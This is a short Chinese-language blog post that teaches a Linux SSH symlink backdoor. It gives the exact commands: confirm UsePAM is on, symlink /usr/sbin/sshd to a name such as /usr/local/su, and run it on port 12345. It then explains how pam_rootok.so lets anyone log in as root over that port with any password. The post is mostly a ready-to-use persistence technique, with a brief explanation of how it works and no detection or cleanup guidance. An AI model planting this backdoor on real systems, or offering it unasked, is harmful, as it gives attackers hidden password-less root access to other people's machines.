-
查看SSH配置中是否开启了PAM身份验证,通过以下命令:
cat /etc/ssh/sshd_config|grep UsePAM UsePAM yes
-
建立软连接后门 ln -sf /usr/sbin/sshd /usr/local/su;/usr/local/su -oPort=12345
注意:软链接的路径不是绝对的,但名字不是随便命名的,使用命令find /etc/pam.d | xargs grep “pam_rootok”,出现的则可以用作软链接名称grep: /etc/pam.d: 是一个目录 /etc/pam.d/su:auth sufficient pam_rootok.so /etc/pam.d/su:# permitted earlier by e.g. "sufficient pam_rootok.so"). /etc/pam.d/chsh:auth sufficient pam_rootok.so /etc/pam.d/chfn:auth sufficient pam_rootok.so /etc/pam.d/runuser:auth sufficient pam_rootok.so
测试
使用root执行命令
ln -sf /usr/sbin/sshd /usr/local/su;/usr/local/su -oPort=12345
然后使用ssh任意密码连接12345端口即可登录root -
原理
(1) pam_rootok.so模块:pam_rootok.so主要作用是使得uid为0的用户,即root用户可以直接通过认证而不需要输入密码。我们查看/etc/pam.d/su 文件中,我们可以看到使用了该模块,这也是为什么root用户切换至普通用户不需要密码的原因。
(2) PAM认证机制,若sshd服务中开启了PAM认证机制(默认开启),当程序执行时,PAM模块则会搜寻PAM相关设定文件,设定文件一般是在/etc/pam.d/。若关闭则会验证密码,无法建立软链接后门。
(3) 当我们通过特定的端口连接ssh后,应用在启动过程中就会去找到配置文件,如:我们的软链接文件为/usr/local/su,那么应用就会找/etc/pam.d/su作为配置文件,那么则实现了无密登录。
SSH软连接后门
于 2023-03-13 09:46:36 首次发布